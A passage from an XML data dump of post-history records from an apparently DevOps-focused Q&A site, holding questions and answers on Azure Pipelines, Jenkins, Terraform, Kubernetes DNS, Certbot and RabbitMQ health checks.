&quot;public&quot;&#xD;&#xA;          monitor_threshold = 100&#xD;&#xA;        },&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    locals {&#xD;&#xA;      result = {&#xD;&#xA;        for tuple in setproduct(var.datadog_gke_clusters, var.gke_slo): &quot;${tuple[0].name}_${tuple[1].zone}&quot; =&gt; {&#xD;&#xA;          name              = tuple[0].name&#xD;&#xA;          environment       = tuple[0].environment&#xD;&#xA;          url               = tuple[0].url&#xD;&#xA;          zone              = tuple[1].zone&#xD;&#xA;          monitor_threshold = tuple[1].monitor_threshold&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    output &quot;result&quot; {&#xD;&#xA;      value = local.result&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37454" PostHistoryTypeId="24" PostId="12080" RevisionGUID="816f0f93-b325-4379-bf76-f0b4964e70ce" CreationDate="2020-08-09T05:56:53.117" Comment="Proposed by 15035 approved by 40 edit id of 1263" ContentLicense="CC BY-SA 4.0" />
  <row Id="37455" PostHistoryTypeId="2" PostId="12178" RevisionGUID="396a2b77-ebde-4711-8387-b0864b9c2240" CreationDate="2020-08-09T11:28:57.067" UserId="18620" Text="I'm trying to build a powershell module in an Azure pipeline (dev.azure.com).&#xD;&#xA;&#xD;&#xA;I've setup an initial pipleline and then building it up incrementally in small steps, because inexplicable errors are encountered far too easily on Azure.&#xD;&#xA;&#xD;&#xA;I've added a 'Prepare' stage:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;name: $(Build.DefinitionName)_$(Date:yyyyMMdd))&#xD;&#xA;&#xD;&#xA;trigger:&#xD;&#xA;- master&#xD;&#xA;&#xD;&#xA;pool:&#xD;&#xA;  vmImage: 'ubuntu-latest'&#xD;&#xA;&#xD;&#xA;variables:&#xD;&#xA;  major: 0&#xD;&#xA;  minor: 0&#xD;&#xA;  patch: $(Build.BuildID)&#xD;&#xA;  buildVersion: $(major).$(minor).$(patch)&#xD;&#xA;&#xD;&#xA;stages:&#xD;&#xA;- stage: Prepare&#xD;&#xA;  jobs:&#xD;&#xA;    - job: Prepare&#xD;&#xA;      steps:&#xD;&#xA;      - powershell: .\bootstrap.ps1&#xD;&#xA;        displayName: 'Install pre-requisites'&#xD;&#xA;```&#xD;&#xA;This is based on the original yaml that you get by default when you start a new Pipeline, so the part invoking the bootstrap file is what I got generated for free (This part works ok).&#xD;&#xA;&#xD;&#xA;The bootstrap uses a dependencies file into which you can declare your dependencies and these are subsequently imported. One of those dependencies is InvokeBuild which contains the Invoke-Build command. So I would expect to be able to use the Invoke-Build command in subsequent stages.&#xD;&#xA;&#xD;&#xA;The next part of the yaml pipeline is as follows:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- stage: Build&#xD;&#xA;  jobs:&#xD;&#xA;    - job: Build&#xD;&#xA;      steps:&#xD;&#xA;        - task: PowerShell@2&#xD;&#xA;          inputs:&#xD;&#xA;            targetType: 'inline'&#xD;&#xA;            script: 'invoke-build build'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The *invoke-build build*, in itself is ok valid and works on a local host.&#xD;&#xA;&#xD;&#xA;The *Build* job fails with the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/usr/bin/pwsh -NoLogo -NoProfile -NonInteractive -Command . '/home/vsts/work/_temp/edb3758b-8e16-448d-bea2-9ba18acb9693.ps1'&#xD;&#xA;Invoke-Build: /home/vsts/work/1/s/do-build.ps1:3&#xD;&#xA;Line |&#xD;&#xA;   3 |  Invoke-Build build&#xD;&#xA;     |  ~~~~~~~~~~~~&#xD;&#xA;     | The term 'Invoke-Build' is not recognized as the name of a&#xD;&#xA;     | cmdlet, function, script file, or operable program. Check the&#xD;&#xA;     | spelling of the name, or if a path was included, verify that&#xD;&#xA;     | the path is correct and try again.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I discovered there is another way to invoke the build with the PowerShell@2 task using the *filePath* input:&#xD;&#xA;&#xD;&#xA;```ymal&#xD;&#xA;- stage: Build&#xD;&#xA;  jobs:&#xD;&#xA;    - job: Build&#xD;&#xA;      steps:&#xD;&#xA;        - task: PowerShell@2&#xD;&#xA;          inputs:&#xD;&#xA;            filePath: '$(System.DefaultWorkingDirectory)/do-build.ps1'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;the do-build.ps1 script is defined as:&#xD;&#xA;&#xD;&#xA;```powershell&#xD;&#xA;Set-Location .\Elizium.FakeBuddy&#xD;&#xA;Invoke-Build build&#xD;&#xA;```&#xD;&#xA;(Elizium.FakeBuddy is the name of my PowerShell test module being built and that directory contains the *InvokeBuild* build script)&#xD;&#xA;&#xD;&#xA;but this fails with the exact same error.&#xD;&#xA;&#xD;&#xA;So why is the *invoke-build* command not available in the powershell session at the build stage, even though the Prepare stage has already imported the module.&#xD;&#xA;&#xD;&#xA;The only thing I can think of is that different stages somehow don't share the same powershell session, but I don't know if this is correct, this seems unlikely, it doesn't make sense that different stages dont share the same session.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37456" PostHistoryTypeId="1" PostId="12178" RevisionGUID="396a2b77-ebde-4711-8387-b0864b9c2240" CreationDate="2020-08-09T11:28:57.067" UserId="18620" Text="Azure Pipeline PowerShell@2 Task can't run 'invoke-build' command as inline script (build PowerShell Module)" ContentLicense="CC BY-SA 4.0" />
  <row Id="37457" PostHistoryTypeId="3" PostId="12178" RevisionGUID="396a2b77-ebde-4711-8387-b0864b9c2240" CreationDate="2020-08-09T11:28:57.067" UserId="18620" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37458" PostHistoryTypeId="5" PostId="12178" RevisionGUID="d73bf7ec-f182-4311-ad6d-56c5eedf23cb" CreationDate="2020-08-09T12:11:12.693" UserId="18620" Comment="build job in same stage as prepare" Text="I'm trying to build a powershell module in an Azure pipeline (dev.azure.com).&#xD;&#xA;&#xD;&#xA;I've setup an initial pipleline and then building it up incrementally in small steps, because inexplicable errors are encountered far too easily on Azure.&#xD;&#xA;&#xD;&#xA;I've added a 'Prepare' stage:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;name: $(Build.DefinitionName)_$(Date:yyyyMMdd))&#xD;&#xA;&#xD;&#xA;trigger:&#xD;&#xA;- master&#xD;&#xA;&#xD;&#xA;pool:&#xD;&#xA;  vmImage: 'ubuntu-latest'&#xD;&#xA;&#xD;&#xA;variables:&#xD;&#xA;  major: 0&#xD;&#xA;  minor: 0&#xD;&#xA;  patch: $(Build.BuildID)&#xD;&#xA;  buildVersion: $(major).$(minor).$(patch)&#xD;&#xA;&#xD;&#xA;stages:&#xD;&#xA;- stage: Prepare&#xD;&#xA;  jobs:&#xD;&#xA;    - job: Prepare&#xD;&#xA;      steps:&#xD;&#xA;      - powershell: .\bootstrap.ps1&#xD;&#xA;        displayName: 'Install pre-requisites'&#xD;&#xA;```&#xD;&#xA;This is based on the original yaml that you get by default when you start a new Pipeline, so the part invoking the bootstrap file is what I got generated for free (This part works ok).&#xD;&#xA;&#xD;&#xA;The bootstrap uses a dependencies file into which you can declare your dependencies and these are subsequently imported. One of those dependencies is InvokeBuild which contains the Invoke-Build command. So I would expect to be able to use the Invoke-Build command in subsequent stages.&#xD;&#xA;&#xD;&#xA;The next part of the yaml pipeline is as follows:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- stage: Build&#xD;&#xA;  jobs:&#xD;&#xA;    - job: Build&#xD;&#xA;      steps:&#xD;&#xA;        - task: PowerShell@2&#xD;&#xA;          inputs:&#xD;&#xA;            targetType: 'inline'&#xD;&#xA;            script: 'invoke-build build'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The *invoke-build build*, in itself is ok valid and works on a local host.&#xD;&#xA;&#xD;&#xA;The *Build* job fails with the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/usr/bin/pwsh -NoLogo -NoProfile -NonInteractive -Command . '/home/vsts/work/_temp/edb3758b-8e16-448d-bea2-9ba18acb9693.ps1'&#xD;&#xA;Invoke-Build: /home/vsts/work/1/s/do-build.ps1:3&#xD;&#xA;Line |&#xD;&#xA;   3 |  Invoke-Build build&#xD;&#xA;     |  ~~~~~~~~~~~~&#xD;&#xA;     | The term 'Invoke-Build' is not recognized as the name of a&#xD;&#xA;     | cmdlet, function, script file, or operable program. Check the&#xD;&#xA;     | spelling of the name, or if a path was included, verify that&#xD;&#xA;     | the path is correct and try again.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I discovered there is another way to invoke the build with the PowerShell@2 task using the *filePath* input:&#xD;&#xA;&#xD;&#xA;```ymal&#xD;&#xA;- stage: Build&#xD;&#xA;  jobs:&#xD;&#xA;    - job: Build&#xD;&#xA;      steps:&#xD;&#xA;        - task: PowerShell@2&#xD;&#xA;          inputs:&#xD;&#xA;            filePath: '$(System.DefaultWorkingDirectory)/do-build.ps1'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;the do-build.ps1 script is defined as:&#xD;&#xA;&#xD;&#xA;```powershell&#xD;&#xA;Set-Location .\Elizium.FakeBuddy&#xD;&#xA;Invoke-Build build&#xD;&#xA;```&#xD;&#xA;(Elizium.FakeBuddy is the name of my PowerShell test module being built and that directory contains the *InvokeBuild* build script)&#xD;&#xA;&#xD;&#xA;but this fails with the exact same error.&#xD;&#xA;&#xD;&#xA;So why is the *invoke-build* command not available in the powershell session at the build stage, even though the Prepare stage has already imported the module.&#xD;&#xA;&#xD;&#xA;The only thing I can think of is that different stages somehow don't share the same powershell session, but I don't know if this is correct, this seems unlikely, it doesn't make sense that different stages dont share the same session.&#xD;&#xA;&#xD;&#xA;EDIT: I tried an alternative version where the Build job is declared inside the same stage as Prepare, but this makes no difference, still a problem with Invoke-Build command.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37459" PostHistoryTypeId="2" PostId="12179" RevisionGUID="06d480ea-f84c-4b53-ad02-41a7636219ad" CreationDate="2020-08-09T13:46:49.440" UserId="15016" Text="If the input string is failing due to folders with spaces not having quotes around them, try adding quotes around every object.&#xD;&#xA;&#xD;&#xA;The InpFolderList already adds end quotes:&#xD;&#xA;&#xD;&#xA; `InpFoldersList=&quot;\&quot;$inpFoldersList&quot;\&quot;`&#xD;&#xA;&#xD;&#xA;Add the quotes around every object.&#xD;&#xA;&#xD;&#xA;**groovy:**&#xD;&#xA;&#xD;&#xA;    class Example { &#xD;&#xA;       static void main(String[] args) { &#xD;&#xA;            String FolderList = &quot;test1,test2,test3,Folder name1,Folder name2,Folder name3&quot;;&#xD;&#xA;            println(FolderList.replaceAll(&quot;,&quot;,&quot;\&quot;,\&quot;&quot;));&#xD;&#xA;       } &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Output:** (End quotes are left off)&#xD;&#xA;&#xD;&#xA;`test1&quot;,&quot;test2&quot;,&quot;test3&quot;,&quot;Folder name1&quot;,&quot;Folder name2&quot;,&quot;Folder name3`&#xD;&#xA;&#xD;&#xA;**Test Code:** https://www.jdoodle.com/execute-groovy-online/ (Copy / Paste Code and Execute)&#xD;&#xA;&#xD;&#xA;Using above as an example, you could also add the end quotes and have a complete String variable to pass as $InpFoldersList, which would remove confusion if attempting to debug.&#xD;&#xA;&#xD;&#xA;**Reference:** http://docs.groovy-lang.org/latest/html/api/org/codehaus/groovy/runtime/StringGroovyMethods.html#replaceAll(java.lang.CharSequence,java.util.regex.Pattern,java.lang.CharSequence)" ContentLicense="CC BY-SA 4.0" />
  <row Id="37464" PostHistoryTypeId="2" PostId="12182" RevisionGUID="e3832848-bd8e-4176-a1f4-31930b1f477e" CreationDate="2020-08-10T10:22:11.200" UserId="2956" Text="Don't read the text written on Certbot site, the real talk is [in the documentation][1].&#xD;&#xA;&#xD;&#xA;In order to make less actions, consider grouping configs by domains. Plays for a playbook in order to achieve what you want:&#xD;&#xA;&#xD;&#xA;Deploy certbot and nginx with no config files, then for each **domain** on host:&#xD;&#xA;&#xD;&#xA; 1. Deploy an nginx config for default server with `location /.well-known/acme-challenge { root /etc/letsencrypt/challenges; }`&#xD;&#xA; 2. Reload nginx config&#xD;&#xA; 4. Check existence of a certificate for the domain in `/etc/letsencrypt/live/domain`&#xD;&#xA; 5. If cert is already presented, end the run&#xD;&#xA; 6. `certbot certonly -n --web-root=/etc/letsencrypt/challenges --keep -d&#xD;&#xA;    domain` to make a cert request&#xD;&#xA; 7. Check for cert in a retry loop&#xD;&#xA; 8. Fix permissions for live certificates&#xD;&#xA; 9. Deploy normal nginx configs&#xD;&#xA;&#xD;&#xA;You may deploy a stub config per domain instead of using the default server. The playbook could be run asynchronously for each domain.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://certbot.eff.org/docs/using.html?highlight=hooks#webroot" ContentLicense="CC BY-SA 4.0" />
  <row Id="37468" PostHistoryTypeId="2" PostId="12184" RevisionGUID="e50d272d-c1cb-49e0-8e0d-29a939938822" CreationDate="2020-08-10T13:29:06.927" UserId="8125" Text="I think the current solution is to implement some script to send notification. I followed [this guide](https://developers.google.com/hangouts/chat/how-tos/webhooks) and wrote a Python Cloud Function to do the notifications." ContentLicense="CC BY-SA 4.0" />
  <row Id="37472" PostHistoryTypeId="2" PostId="12186" RevisionGUID="fe805cf0-b482-482e-bac1-cd13cf57a72e" CreationDate="2020-08-10T18:17:19.290" UserId="23214" Text="Alternative solution. Use the `parallel` pipeline step to run your foreground and background processes as equal partners in, well, parallel.&#xD;&#xA;&#xD;&#xA;One advantage is that you have easy access to the stdout of the background process in the Blue Ocean UI.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; stage (&quot;Run&quot;) {&#xD;&#xA;    steps {&#xD;&#xA;        parallel(&#xD;&#xA;            k3s: {&#xD;&#xA;                sh 'sudo /home/jenkins/k3s server &amp; echo $! &gt; $WORKSPACE/k3s.pid; wait -n $(cat $WORKSPACE/k3s.pid) || true'&#xD;&#xA;            },&#xD;&#xA;            test: {&#xD;&#xA;                sh 'sleep 1; ps -p $(cat $WORKSPACE/k3s.pid)'&#xD;&#xA;                sh 'echo ... running the tests ...'&#xD;&#xA;                sh 'sudo kill -9 $(cat $WORKSPACE/k3s.pid)'&#xD;&#xA;            }&#xD;&#xA;        )&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37473" PostHistoryTypeId="5" PostId="12186" RevisionGUID="c5f2c991-c439-458c-b36e-53af975763ab" CreationDate="2020-08-10T18:57:02.670" UserId="23214" Comment="added 402 characters in body" Text="Alternative solution. Use the `parallel` pipeline step to run your foreground and background processes as equal partners in, well, parallel.&#xD;&#xA;&#xD;&#xA;One advantage is that you have easy access to the stdout of the background process in the Blue Ocean UI.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stage(&quot;Run&quot;) {&#xD;&#xA;    parallel {&#xD;&#xA;        stage('k3s') {&#xD;&#xA;            steps {&#xD;&#xA;                sh 'sudo /home/jenkins/k3s server --write-kubeconfig-mode 664 &amp; echo $! &gt; $WORKSPACE/k3s.pid; wait -n $(cat $WORKSPACE/k3s.pid) || true'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('test') {&#xD;&#xA;            steps {&#xD;&#xA;                sh 'sleep 1; ps -p $(cat $WORKSPACE/k3s.pid)'&#xD;&#xA;                sh 'while ! /home/jenkins/k3s kubectl get node; do sleep 1; done'&#xD;&#xA;            }&#xD;&#xA;            post {&#xD;&#xA;                always {&#xD;&#xA;                    sh 'while ps -p $(cat $WORKSPACE/k3s.pid); do sudo kill -9 $(cat $WORKSPACE/k3s.pid); sleep 5; done'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37474" PostHistoryTypeId="2" PostId="12187" RevisionGUID="424ac1d5-ef53-45f4-83dd-a75b677550e5" CreationDate="2020-08-10T19:49:55.430" UserId="23513" Text="&#xD;&#xA;1) You can use a plugin called [&quot;Workspace Cleanup Plugin&quot;][1] which wipes out the workspace post build. This can be a part of the pipeline and would not require manual cleanup every time when a build should be triggered. &#xD;&#xA;&#xD;&#xA;2) For the second issue, I would recommend you to check if you're able to checkin to the same repository with git credentials configured in jenkins settings through the command line in the slave. &#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/ws-cleanup/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37475" PostHistoryTypeId="50" PostId="8629" RevisionGUID="ba3bdc2f-5d7d-4e09-afb4-67e99ab580d3" CreationDate="2020-08-10T21:07:50.907" UserId="-1" />
  <row Id="37476" PostHistoryTypeId="2" PostId="12188" RevisionGUID="f6facf52-dfc2-4b1e-9a81-8b6c324cc630" CreationDate="2020-08-11T04:13:11.830" UserId="22321" Text="More options like this.&#xD;&#xA;&#xD;&#xA;    integration-testing:&#xD;&#xA;      stage: test&#xD;&#xA;      only:&#xD;&#xA;        refs:&#xD;&#xA;          - master&#xD;&#xA;          - /release-.+/&#xD;&#xA;&#xD;&#xA;Complete documentation can be found at [gitlab doc][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/yaml/#onlyexcept-advanced" ContentLicense="CC BY-SA 4.0" />
  <row Id="37477" PostHistoryTypeId="2" PostId="12189" RevisionGUID="aef36f94-b082-4045-a05b-0ad1c2134170" CreationDate="2020-08-11T04:23:17.977" UserId="22321" Text="I am not sure it will be helped. I have similar design in my office.&#xD;&#xA;&#xD;&#xA;I have some Kubernetes Cluster. all node and master running on local ip from a PVC. And my rds too, only have local ip run on same PVC. Kubernetes Cluster already connect to RDS using local ip.&#xD;&#xA;&#xD;&#xA;Then, I build VPN server on bastion server. Have local ip and public ip, run on same PVC with RDS and Kubernetes cluster. So when need connect, I just start my vpn connection on my laptop.&#xD;&#xA;&#xD;&#xA;Only vpn/bastion server have IP public. + Load balancer too.&#xD;&#xA;&#xD;&#xA;I hope this will give you inspiration." ContentLicense="CC BY-SA 4.0" />
  <row Id="37478" PostHistoryTypeId="2" PostId="12190" RevisionGUID="2aea94fc-c7e5-42e6-b914-ca56a5fac81e" CreationDate="2020-08-11T04:40:26.567" UserId="22321" Text="Maybe solving space problem first.&#xD;&#xA;&#xD;&#xA;Then, in my opinion, I prefer using rsync for copy file to server." ContentLicense="CC BY-SA 4.0" />
  <row Id="37479" PostHistoryTypeId="2" PostId="12191" RevisionGUID="cfa5bcc0-7753-4459-888f-b65056322f44" CreationDate="2020-08-11T06:04:32.047" UserId="12305" Text="I have a situation where I have a Jenkins installation that is used by multiple teams. Each team gets their own Jenkins node, which has access to certain parts of the organization that the team is responsible of.&#xD;&#xA;&#xD;&#xA;I want to allow the teams to create their own Jenkins jobs, but they should only be allowed to set those jobs to run on their respective Jenkins node. So I need a way to **allow users to create jobs, but restrict the nodes they can choose**.&#xD;&#xA;&#xD;&#xA;The only thing we found is [Job Restrictions plugin][1], which is no longer maintained at this time and up to adoption. And we had some trouble with it.&#xD;&#xA;&#xD;&#xA; What are my options?&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/job-restrictions/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37480" PostHistoryTypeId="1" PostId="12191" RevisionGUID="cfa5bcc0-7753-4459-888f-b65056322f44" CreationDate="2020-08-11T06:04:32.047" UserId="12305" Text="Jenkins - restrict job creator to certain nodes" ContentLicense="CC BY-SA 4.0" />
  <row Id="37481" PostHistoryTypeId="3" PostId="12191" RevisionGUID="cfa5bcc0-7753-4459-888f-b65056322f44" CreationDate="2020-08-11T06:04:32.047" UserId="12305" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37483" PostHistoryTypeId="10" PostId="12103" RevisionGUID="d0e6af41-20cd-459e-8b39-9946b5d90eeb" CreationDate="2020-08-11T10:35:14.543" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="37485" PostHistoryTypeId="34" PostId="12157" RevisionGUID="c5105fa4-865e-4f4d-8746-af7b5a668a92" CreationDate="2020-08-11T12:06:40.450" UserId="17900" Comment="60" />
  <row Id="37489" PostHistoryTypeId="2" PostId="12193" RevisionGUID="448786bc-82c1-4e2c-b5a9-105d99e6766a" CreationDate="2020-08-11T19:15:41.153" UserId="23531" Text="Trying to figure out the best approach for deploying to multiple servers using Jenkins Blue Ocean pipeline.  We will have six servers in development, six in QA, six in Staging, and six in production.  Should I put the list of the servers in a config file and store in git or is there a plug-in or something within Jenkins that stores host names?  All feedback is greatly appreciate." ContentLicense="CC BY-SA 4.0" />
  <row Id="37490" PostHistoryTypeId="1" PostId="12193" RevisionGUID="448786bc-82c1-4e2c-b5a9-105d99e6766a" CreationDate="2020-08-11T19:15:41.153" UserId="23531" Text="What is the best approach to deploying to multiple servers using Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37491" PostHistoryTypeId="3" PostId="12193" RevisionGUID="448786bc-82c1-4e2c-b5a9-105d99e6766a" CreationDate="2020-08-11T19:15:41.153" UserId="23531" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;&lt;jenkins-blueocean&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37492" PostHistoryTypeId="4" PostId="12191" RevisionGUID="368c4cf6-d16a-456f-a1fb-36398546327c" CreationDate="2020-08-12T02:38:57.100" UserId="12305" Comment="edited title" Text="Jenkins - restrict which nodes can be selected by user when creating jobs" ContentLicense="CC BY-SA 4.0" />
  <row Id="37493" PostHistoryTypeId="2" PostId="12194" RevisionGUID="0265a222-bbb9-4566-ace3-3aa0d6ecf8cf" CreationDate="2020-08-12T04:46:21.850" UserId="22479" Text="Can anyone shed some light on why this might not work? I can access redis just fine using the pod's IP address, &#xD;&#xA;&#xD;&#xA;    $ rdcli -h 10.152.183.65&#xD;&#xA;    10.152.183.65:6379&gt; &#xD;&#xA;&#xD;&#xA;but when I try to use the DNS name, I cannot connect.&#xD;&#xA;&#xD;&#xA;    $ rdcli -h dbbackupd.default.cluster.local&#xD;&#xA;    dbbackupd.default.cluster.local:6379&gt; (error) Redis connection to dbbackupd.default.cluster.local:6379 failed - getaddrinfo ENOTFOUND dbbackupd.default.cluster.local dbbackupd.default.cluster.local:6379&#xD;&#xA;&#xD;&#xA;Inside the pod that is trying to contact redis, I get the right-looking output when using the host command, so name resolution looks good:&#xD;&#xA;&#xD;&#xA;    $ host dbbackupd.default.svc.cluster.local&#xD;&#xA;&#xD;&#xA;    dbbackupd.default.svc.cluster.local has address 10.152.183.65&#xD;&#xA;&#xD;&#xA;My theory is that because redis is in a multi-container pod, that dns is not routing it to the container properly. Here is my Service's definition in case that sheds light:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: dbbackupd&#xD;&#xA;      labels:&#xD;&#xA;        app: dbbackupd&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        app: dbbackupd&#xD;&#xA;      type: NodePort&#xD;&#xA;      ports:&#xD;&#xA;        - name: redis-mq&#xD;&#xA;          protocol: TCP&#xD;&#xA;          port: 6379&#xD;&#xA;          targetPort: 6379&#xD;&#xA;        - name: sql-comm&#xD;&#xA;          protocol: TCP&#xD;&#xA;          port: 1433&#xD;&#xA;          targetPort: 1433" ContentLicense="CC BY-SA 4.0" />
  <row Id="37494" PostHistoryTypeId="1" PostId="12194" RevisionGUID="0265a222-bbb9-4566-ace3-3aa0d6ecf8cf" CreationDate="2020-08-12T04:46:21.850" UserId="22479" Text="Can't hit redis using DNS name in multi-container pod on Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="37495" PostHistoryTypeId="3" PostId="12194" RevisionGUID="0265a222-bbb9-4566-ace3-3aa0d6ecf8cf" CreationDate="2020-08-12T04:46:21.850" UserId="22479" Text="&lt;kubernetes&gt;&lt;containers&gt;&lt;dns&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37496" PostHistoryTypeId="2" PostId="12195" RevisionGUID="df9e556d-20d4-4ecd-80e6-d8dcc5004088" CreationDate="2020-08-12T06:08:21.977" UserId="349" Text="You're using two different host names:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ rdcli -h dbbackupd.default.cluster.local&#xD;&#xA;$ host dbbackupd.default.svc.cluster.local&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The one used with `rdcli` is missing `.svc`." ContentLicense="CC BY-SA 4.0" />
  <row Id="37510" PostHistoryTypeId="50" PostId="9795" RevisionGUID="92a3ebb8-6563-4961-bc9f-2bda7cb94c5d" CreationDate="2020-08-12T17:02:25.310" UserId="-1" />
  <row Id="37511" PostHistoryTypeId="2" PostId="12200" RevisionGUID="70485201-598b-4886-94c3-b84bad58e8fb" CreationDate="2020-08-12T18:13:15.080" UserId="23542" Text="You could use the command `rabbitmq-diagnostics -q ping` in case you just need a basic check. &#xD;&#xA;&#xD;&#xA;    healthcheck:&#xD;&#xA;      test: rabbitmq-diagnostics -q ping&#xD;&#xA;      interval: 30s&#xD;&#xA;      timeout: 30s&#xD;&#xA;      retries: 3&#xD;&#xA;&#xD;&#xA;More information on how to run more advanced health checks could be found [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.rabbitmq.com/monitoring.html#health-checks" ContentLicense="CC BY-SA 4.0" />
  <row Id="37515" PostHistoryTypeId="2" PostId="12201" RevisionGUID="c1b6345b-50be-4f39-92cd-17b88c28f6f9" CreationDate="2020-08-13T07:21:37.163" UserId="23550" Text="I was reading the [Continuous Integration by Martin Fowler][1] article yesterday, the article is from 2006 but I think it is still very applicable today, the statement around a single command stuck in my head.&#xD;&#xA;&#xD;&#xA;&gt; Automated environments for builds are a common feature of systems. The&#xD;&#xA;&gt; Unix world has had make for decades, the Java community developed Ant,&#xD;&#xA;&gt; the .NET community has had Nant and now has MSBuild. **Make sure you can&#xD;&#xA;&gt; build and launch your system using these scripts using a single&#xD;&#xA;&gt; command.**&#xD;&#xA;&gt; &#xD;&#xA;&gt; A common mistake is not to include everything in the automated build.&#xD;&#xA;&gt; The build should include getting the database schema out of the&#xD;&#xA;&gt; repository and firing it up in the execution environment. I'll&#xD;&#xA;&gt; elaborate my earlier rule of thumb: **anyone should be able to bring in&#xD;&#xA;&gt; a virgin machine, check the sources out of the repository, issue a&#xD;&#xA;&gt; single command, and have a running system on their machine.**&#xD;&#xA;&#xD;&#xA;The concept sounds great but with my limited working knowledge of Azure Pipelines for Continuous Integration builds it feels counter-intuitive to not use the tasks available in Azure Pipelines and have this run a single script that we wrote.&#xD;&#xA;&#xD;&#xA;On the flip-side it doesn't make sense to just have a build definition in Azure Pipelines as being able to use the same build definition locally during development is useful.&#xD;&#xA;&#xD;&#xA;I would guess the same applies to other applications offering CI functionality where the build pipelines do not support being reused locally. I read that GitHub Actions can be executed locally, perhaps that is the exception?&#xD;&#xA;&#xD;&#xA;How is continuous integration done in the real world to allow builds to be done locally and on the CI server?&#xD;&#xA;&#xD;&#xA;For context I am working with Microsoft solutions/projects i.e. .csproj, .sqlproj&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/articles/continuousIntegration.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37516" PostHistoryTypeId="1" PostId="12201" RevisionGUID="c1b6345b-50be-4f39-92cd-17b88c28f6f9" CreationDate="2020-08-13T07:21:37.163" UserId="23550" Text="Single Build Command / Continuous Integration" ContentLicense="CC BY-SA 4.0" />
  <row Id="37517" PostHistoryTypeId="3" PostId="12201" RevisionGUID="c1b6345b-50be-4f39-92cd-17b88c28f6f9" CreationDate="2020-08-13T07:21:37.163" UserId="23550" Text="&lt;continuous-integration&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37524" PostHistoryTypeId="2" PostId="12204" RevisionGUID="2173beeb-5997-485e-8920-deeede5b412c" CreationDate="2020-08-13T19:43:41.080" UserId="162" Text="There are so many options:&#xD;&#xA;&#xD;&#xA;- Docker-compose with ECS cli looks the easiest solution&#xD;&#xA;&#xD;&#xA;- Terraform&#xD;&#xA;&#xD;&#xA;- CloudFormation (looks complex!)&#xD;&#xA;&#xD;&#xA;- Ansible&#xD;&#xA;&#xD;&#xA;I am only interested in setting up a basic ECS docker set-up with ELB and easily updating the Docker image version.&#xD;&#xA;&#xD;&#xA;We all love technology here, but we're not all super geniuses when it comes to tech. So I'm looking to keep my set-up as simple as possible. We run Jenkins, 2 NodeJS applications, 2 Java applications in ECS and I know it involves IAM, Security Groups, EBS, ELB, ECS Service/Task, ECS Task Definition, but that already gets complex quickly in CloudFormation.&#xD;&#xA;&#xD;&#xA;What are good technologies that will allow us to use Docker, keep things simple and don't require us to be very intelligent to understand our own programming code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37525" PostHistoryTypeId="1" PostId="12204" RevisionGUID="2173beeb-5997-485e-8920-deeede5b412c" CreationDate="2020-08-13T19:43:41.080" UserId="162" Text="What is the best way to set up a CI/CD pipeline on ECS?" ContentLicense="CC BY-SA 4.0" />
